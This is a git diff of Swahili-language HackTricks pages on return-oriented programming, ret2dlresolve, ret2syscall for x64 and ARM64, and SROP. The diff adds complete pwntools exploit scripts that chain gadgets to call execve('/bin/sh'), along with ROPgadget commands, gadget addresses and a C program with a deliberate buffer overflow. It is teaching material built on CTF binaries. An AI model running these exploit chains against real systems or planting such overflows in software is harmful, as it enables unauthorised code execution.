Kwa kuwa **x64 inatumia rejista kwa hoja za kwanza chache**, mara nyingi inahitaji vifaa vichache kuliko x86 kwa wito wa kazi za kawaida, lakini kupata na kuunganisha vifaa sahihi kunaweza kuwa ngumu zaidi kutokana na idadi kubwa ya rejista na nafasi kubwa ya anwani. Idadi kubwa ya rejista na nafasi kubwa ya anwani katika usanidi wa **x64** hutoa fursa na changamoto kwa maendeleo ya kutumia, hasa katika muktadha wa Return-Oriented Programming (ROP).
|
||||
{% endhint %}
|
||||
|
||||
## Mnyororo wa ROP katika Mfano wa ARM64
|
||||
|
|
@ -134,29 +165,31 @@ Angalia ukurasa ufuatao kwa habari hii:
|
|||
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
|
||||
## Kinga Dhidi ya ROP
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Kinga hizi hufanya iwe ngumu kutumia ROP kwani anwani za vifaa hubadilika kati ya utekelezaji.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Katika kesi ya BOF, ni muhimu kuzidi kizuizi cha stak canary ili kubadilisha pointa za kurudi kwa kutumia mnyororo wa ROP.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Katika kesi ya BOF, ni muhimu kuzidi kizuizi cha stak canary ili kubadilisha pointa za kurudi ili kutumia mnyororo wa ROP
|
||||
* **Uhaba wa Vifaa**: Ikiwa hakuna vifaa vya kutosha, haitawezekana kuzalisha mnyororo wa ROP.
|
||||
|
||||
## Mbinu Zinazotegemea ROP
|
||||
## Mbinu za msingi za ROP
|
||||
|
||||
Tambua kuwa ROP ni mbinu tu ya kutekeleza kanuni za kupindukia. Kulingana na ROP, mbinu nyingi za Ret2XXX ziliendelezwa:
|
||||
Tambua kuwa ROP ni mbinu tu ya kutekeleza kanuni za aina yoyote. Kulingana na ROP, mbinu nyingi za Ret2XXX ziliendelezwa:
|
||||
|
||||
* **Ret2lib**: Tumia ROP kuita kazi za kupinduliwa kutoka kwa maktaba iliyopakiwa na vigezo vya kupinduliwa (kawaida kitu kama `system('/bin/sh')`.
|
||||
* **Ret2lib**: Tumia ROP kuita kazi za aina yoyote kutoka kwa maktaba iliyopakiwa na vigezo vya aina yoyote (kawaida kitu kama `system('/bin/sh')`.
|
||||
|
||||
{% content-ref url="ret2lib/" %}
|
||||
[ret2lib](ret2lib/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Ret2Syscall**: Tumia ROP kuandaa wito kwa syscall, k.m. `execve`, na kufanya iitumie amri za kupinduliwa.
|
||||
* **Ret2Syscall**: Tumia ROP kuandaa wito kwa syscall, k.m. `execve`, na kufanya iitumie amri za aina yoyote.
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **EBP2Ret & EBP Chaining**: La kwanza litatumia EBP badala ya EIP kudhibiti mtiririko na la pili ni kama Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa ni muhimu pia kudhibiti EIP).
|
||||
* **EBP2Ret & EBP Chaining**: La kwanza litatumia EBP badala ya EIP kudhibiti mtiririko na la pili ni kama Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia ni muhimu kudhibiti EIP).
|
||||
|
||||
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
|
||||
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
|
|
@ -166,20 +199,6 @@ Tambua kuwa ROP ni mbinu tu ya kutekeleza kanuni za kupindukia. Kulingana na ROP
|
|||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||
* 64 biti, Pie na nx imewezeshwa, hakuna canary, zidisha RIP na anwani ya `vsyscall` kwa kusudi la kurudi kwa anwani inayofuata kwenye stak ambayo itakuwa zidishi la sehemu ya kazi inayovuja bendera
|
||||
* Biti 64, Pie na nx imewezeshwa, hakuna canary, zaidi ya RIP na anwani ya `vsyscall` kwa kusudi la kurudi kwa anwani inayofuata kwenye stak ambayo itakuwa kuzidi sehemu ya kazi ambayo inavuja bendera
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64, hakuna ASLR, kifaa cha ROP kufanya stak iwezekane na kuruka kwa shellcode kwenye stak
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
* arm64, hakuna ASLR, kifaa cha ROP kufanya stak iweze kutekelezeka na kuruka kwa shellcode kwenye stak
|
||||
|
|
|
|||
|
|
@ -18,14 +18,14 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
Kama ilivyoelezwa kwenye ukurasa kuhusu [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) na [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries bila Full Relro zitaresolve alama (kama vile anwani za maktaba za nje) mara ya kwanza wanapotumiwa. Urekebishaji huu hufanyika kwa kuita kazi **`_dl_runtime_resolve`**.
|
||||
|
||||
Kazi ya **`_dl_runtime_resolve`** inachukua kutoka kwenye steki marejeo kwa baadhi ya miundo inayohitaji ili **kuresolve** alama iliyotajwa.
|
||||
Kazi ya **`_dl_runtime_resolve`** inachukua kutoka kwenye steki marejeo kwa baadhi ya miundo inayohitajika ili **kuresolve** alama iliyotajwa.
|
||||
|
||||
Hivyo basi, niwezekanavyo kufanya **miundo yote hii feki** ili kufanya urekebishaji wa kiungo cha kudumu kutatua alama iliyotakiwa (kama vile kazi ya **`system`**) na kuipiga kwa kiparameta kilichowekwa (k.m. **`system('/bin/sh')`**).
|
||||
Hivyo basi, niwezekanavyo kufanya **miundo yote hii feki** ili kufanya urekebishaji wa kiungo cha kudumu kutatue alama iliyotakiwa (kama vile kazi ya **`system`**) na kuipiga na parameta iliyowekwa (k.m. **`system('/bin/sh')`**).
|
||||
|
||||
Kawaida, miundo yote hii hufanywa feki kwa kutengeneza **mnyororo wa ROP wa awali unaopiga simu kwa `read`** juu ya kumbukumbu inayoweza kuandikwa, kisha **miundo** na neno **`'/bin/sh'`** hupitishwa ili waweze kuhifadhiwa na kusomwa kwa kusoma kwenye eneo lililofahamika, na kisha mnyororo wa ROP unaendelea kwa kupiga simu **`_dl_runtime_resolve`**, ikimruhusu **kutatua anwani ya `system`** kwenye miundo feki na **kupiga simu kwa anwani hii** na anwani ya `$'/bin/sh'`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Mbinu hii ni muhimu hasa ikiwa hakuna vifaa vya syscall (kutumia mbinu kama [**ret2syscall**](rop-syscall-execv.md) au [SROP](srop-sigreturn-oriented-programming.md)) na hakuna njia za kuvuja anwani za libc.
|
||||
Mbinu hii ni muhimu hasa ikiwa hakuna vifaa vya syscall (kutumia mbinu kama [**ret2syscall**](rop-syscall-execv/) au [SROP](srop-sigreturn-oriented-programming.md)) na hakuna njia za kuvuja anwani za libc.
|
||||
{% endhint %}
|
||||
|
||||
Unaweza kupata maelezo bora kuhusu mbinu hii katika nusu ya pili ya video:
|
||||
|
|
@ -41,7 +41,7 @@ Ni lazima kufanya feki miundo 3: **`JMPREL`**, **`STRTAB`** na **`SYMTAB`**. Una
|
|||
1. Andika miundo feki mahali fulani
|
||||
2. Weka hoja ya kwanza ya system (`$rdi = &'/bin/sh'`)
|
||||
3. Weka kwenye steki anwani za miundo kupiga simu **`_dl_runtime_resolve`**
|
||||
4. **Piga simu** `_dl_runtime_resolve`
|
||||
4. Piga simu **`_dl_runtime_resolve`**
|
||||
5. **`system`** itatauliwa na kupigwa simu na `'/bin/sh'` kama hoja
|
||||
|
||||
## Mfano
|
||||
|
|
@ -70,7 +70,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
### Mbichi
|
||||
### Ghafi
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
|
||||
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
|
||||
|
|
@ -178,4 +178,4 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32bit, hakuna relro, hakuna canary, nx, hakuna pie, msingi wa kujaza buffer na kurejea. Kudanganya, bof hutumiwa kuita `read` tena na sehemu ya `.bss` na ukubwa mkubwa, kuhifadhi kwenye meza bandia za `dlresolve` ili kupakia `system`, kurudi kwa msingi na kutumia tena bof ya awali kuita dlresolve na kisha `system('/bin/sh')`.
|
||||
* 32bit, hakuna relro, hakuna canary, nx, hakuna pie, msingi wa kujaza buffer na kurejea. Kudanganya, bof hutumiwa kuita `read` tena na sehemu ya `.bss` na ukubwa mkubwa, kuhifadhi `dlresolve` bandia meza za kupakia `system`, kurudi kwa msingi na kutumia tena bof ya awali kuita dlresolve na kisha `system('/bin/sh')`.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,190 @@
|
|||
# Ret2syscall
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalam wa juu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
Hii inafanana na Ret2lib, hata hivyo, katika kesi hii hatutaita kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa tayari kuita syscall `sys_execve` na baadhi ya hoja kutekeleza `/bin/sh`. Mbinu hii kawaida hutekelezwa kwenye faili za binary ambazo zimekamilishwa kwa njia ya static, hivyo kunaweza kuwa na vifaa vingi na maagizo ya syscall.
|
||||
|
||||
Ili kuandaa wito kwa **syscall** ni muhimu kuwa na usanidi ufuatao:
|
||||
|
||||
* `rax: 59 Taja sys_execve`
|
||||
* `rdi: ptr kwa "/bin/sh" taja faili ya kutekeleza`
|
||||
* `rsi: 0 taja hakuna hoja zilizopitishwa`
|
||||
* `rdx: 0 taja hakuna mazingira ya mazingira yaliyopitishwa`
|
||||
|
||||
Kwa hivyo, kimsingi ni muhimu kuandika mfuatano wa herufi `/bin/sh` mahali fulani na kisha kutekeleza `syscall` (ukiwa makini na kujaza inayohitajika kudhibiti steki). Kwa hili, tunahitaji kifaa cha kuandika `/bin/sh` katika eneo lililofahamika.
|
||||
|
||||
{% hint style="success" %}
|
||||
Syscall nyingine ya kuvutia ya kuita ni **`mprotect`** ambayo ingemruhusu mshambuliaji **kurekebisha ruhusa ya ukurasa kwenye kumbukumbu**. Hii inaweza kuunganishwa na [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
{% endhint %}
|
||||
|
||||
## Vifaa vya Kudhibiti Virejeshi
|
||||
|
||||
Tuanze kwa kutafuta **jinsi ya kudhibiti virejeshi hivyo**:
|
||||
```bash
|
||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
0x0000000000400686 : pop rdi ; ret
|
||||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
Kwa kutumia anwani hizi ni **inawezekana kuandika maudhui kwenye stack na kuzipakia kwenye rejista**.
|
||||
|
||||
## Andika string
|
||||
|
||||
### Kumbukumbu inayoweza kuandikwa
|
||||
|
||||
Kwanza unahitaji kupata mahali pa kuandika kwenye kumbukumbu.
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
```
|
||||
### Andika String kwenye kumbukumbu
|
||||
|
||||
Kisha unahitaji kupata njia ya kuandika maudhui yoyote kwenye anwani hii
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### Kiotomatiki ROP mnyororo
|
||||
|
||||
Amri ifuatayo inaunda mnyororo kamili wa `sys_execve` ROP ukitoa binary ya tuli wakati kuna vifaa vya andika-nini-mahali na maagizo ya syscall:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
#### Biti 32
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
|
||||
rop += popRdx # place value into EAX
|
||||
rop += "/bin" # 4 bytes at a time
|
||||
rop += popRax # place value into edx
|
||||
rop += p32(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
|
||||
rop += popRdx
|
||||
rop += "//sh"
|
||||
rop += popRax
|
||||
rop += p32(0x6b6000 + 4)
|
||||
rop += writeGadget
|
||||
```
|
||||
#### Biti 64
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
rop = ''
|
||||
rop += popRdx
|
||||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||||
rop += popRax
|
||||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Vifaa Vinavyokosekana
|
||||
|
||||
Ikiwa **unakosa vifaa**, kwa mfano kuandika `/bin/sh` kumbukumbu, unaweza kutumia **mbinu ya SROP kudhibiti thamani zote za rejista** (ikiwa ni pamoja na RIP na rejista za params) kutoka kwenye steki:
|
||||
|
||||
{% content-ref url="../srop-sigreturn-oriented-programming.md" %}
|
||||
[srop-sigreturn-oriented-programming.md](../srop-sigreturn-oriented-programming.md)
|
||||
{% endcontent-ref %}
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
target = process('./speedrun-001')
|
||||
#gdb.attach(target, gdbscript = 'b *0x400bad')
|
||||
|
||||
# Establish our ROP Gadgets
|
||||
popRax = p64(0x415664)
|
||||
popRdi = p64(0x400686)
|
||||
popRsi = p64(0x4101f3)
|
||||
popRdx = p64(0x4498b5)
|
||||
|
||||
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
||||
writeGadget = p64(0x48d251)
|
||||
|
||||
# Our syscall gadget
|
||||
syscall = p64(0x40129c)
|
||||
|
||||
'''
|
||||
Here is the assembly equivalent for these blocks
|
||||
write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
rop = ''
|
||||
rop += popRdx
|
||||
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||||
rop += popRax
|
||||
rop += p64(0x6b6000)
|
||||
rop += writeGadget
|
||||
|
||||
'''
|
||||
Prep the four registers with their arguments, and make the syscall
|
||||
|
||||
pop rax, 0x3b
|
||||
pop rdi, 0x6b6000
|
||||
pop rsi, 0x0
|
||||
pop rdx, 0x0
|
||||
|
||||
syscall
|
||||
'''
|
||||
|
||||
rop += popRax
|
||||
rop += p64(0x3b)
|
||||
|
||||
rop += popRdi
|
||||
rop += p64(0x6b6000)
|
||||
|
||||
rop += popRsi
|
||||
rop += p64(0)
|
||||
rop += popRdx
|
||||
rop += p64(0)
|
||||
|
||||
rop += syscall
|
||||
|
||||
|
||||
# Add the padding to the saved return address
|
||||
payload = "0"*0x408 + rop
|
||||
|
||||
# Send the payload, drop to an interactive shell to use our new shell
|
||||
target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
```
|
||||
## Mifano Mingine & Marejeo
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
* Biti 64, hakuna PIE, nx, andika kwenye kumbukumbu fulani ROP ili kuita `execve` na ruka hapo.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
||||
* Biti 64, nx, hakuna PIE, andika kwenye kumbukumbu fulani ROP ili kuita `execve` na ruka hapo. Ili kuandika kwenye steki kazi ya kufanya operesheni za hisabati inatumika vibaya
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* Biti 64, hakuna PIE, nx, BF canary, andika kwenye kumbukumbu fulani ROP ili kuita `execve` na ruka hapo.
|
||||
|
|
@ -0,0 +1,145 @@
|
|||
# Ret2syscall - ARM64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
Pata maelezo ya arm64 katika:
|
||||
|
||||
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Code
|
||||
|
||||
Tutatumia mfano kutoka kwenye ukurasa:
|
||||
|
||||
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
|
||||
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations!\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Kusanya bila pie na canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector
|
||||
```
|
||||
## Vifaa
|
||||
|
||||
Ili kuandaa wito kwa **syscall** inahitajika mazingira yafuatayo:
|
||||
|
||||
- `x8: 221 Taja sys_execve`
|
||||
- `x0: ptr kwa "/bin/sh" taja faili ya kutekelezwa`
|
||||
- `x1: 0 taja hakuna hoja zilizopitishwa`
|
||||
- `x2: 0 taja hakuna mazingira ya mazingira yaliyopitishwa`
|
||||
|
||||
Kwa kutumia ROPgadget.py niliweza kutambua vifaa vifuatavyo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
;Load x0, x1 and x3 from stack and x5 and call x5
|
||||
0x0000000000114c30:
|
||||
ldp x3, x0, [sp, #8] ;
|
||||
ldp x1, x4, [sp, #0x18] ;
|
||||
ldr x5, [sp, #0x58] ;
|
||||
ldr x2, [sp, #0xe0] ;
|
||||
blr x5
|
||||
|
||||
;Move execve syscall (0xdd) to x8 and call it
|
||||
0x00000000000bb97c :
|
||||
nop ;
|
||||
nop ;
|
||||
mov x8, #0xdd ;
|
||||
svc #0
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Kwa vifaa vya awali tunaweza kudhibiti rejista zote zinazohitajika kutoka kwenye steki na kutumia x5 kuruka kwenye kifaa cha pili ili kuita syscall.
|
||||
|
||||
### Kudukua
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./ret2syscall')
|
||||
elf = context.binary = ELF('./ret2syscall')
|
||||
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
|
||||
libc.address = 0x0000fffff7df0000 # ASLR disabled
|
||||
binsh = next(libc.search(b"/bin/sh"))
|
||||
|
||||
stack_offset = 72
|
||||
|
||||
#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
|
||||
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
|
||||
|
||||
# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
|
||||
call_execve = libc.address + 0xbb97c
|
||||
|
||||
print("/bin/sh in: " + hex(binsh))
|
||||
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
|
||||
print("call_execve in: " + hex(call_execve))
|
||||
|
||||
# stack offset
|
||||
bof = b"A" * (stack_offset)
|
||||
bof += p64(load_x0_x1_x2)
|
||||
|
||||
# ldp x3, x0, [sp, #8]
|
||||
rop = b"BBBBBBBBBBBBBBBB" #x3
|
||||
rop += p64(binsh) #x0
|
||||
|
||||
# ldp x1, x4, [sp, #0x18]
|
||||
rop += b"C"*(0x18 - len(rop))
|
||||
rop += p64(0x00) # x1
|
||||
rop += b"CCCCCCCC" #x4
|
||||
|
||||
# ldr x5, [sp, #0x58]
|
||||
rop += b"D"*(0x58 - len(rop))
|
||||
rop += p64(call_execve) # x5
|
||||
|
||||
# ldr x2, [sp, #0xe0]
|
||||
rop += b"E" * (0xe0 - len(rop))
|
||||
rop += p64(0x00) # x2
|
||||
|
||||
payload = bof + rop
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -16,23 +16,23 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Taarifa Msingi
|
||||
|
||||
**`Sigreturn`** ni **syscall** maalum ambayo kimsingi hutumiwa kusafisha baada ya kikamataji cha ishara kumaliza utekelezaji wake. Ishara ni mapumziko yanayotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kumaanisha kuwa hali isiyo ya kawaida imejitokeza. Wakati programu inapokea ishara, kwa muda inasitisha kazi yake ya sasa kushughulikia ishara na **kikamataji cha ishara**, kazi maalum iliyoundwa kushughulikia ishara.
|
||||
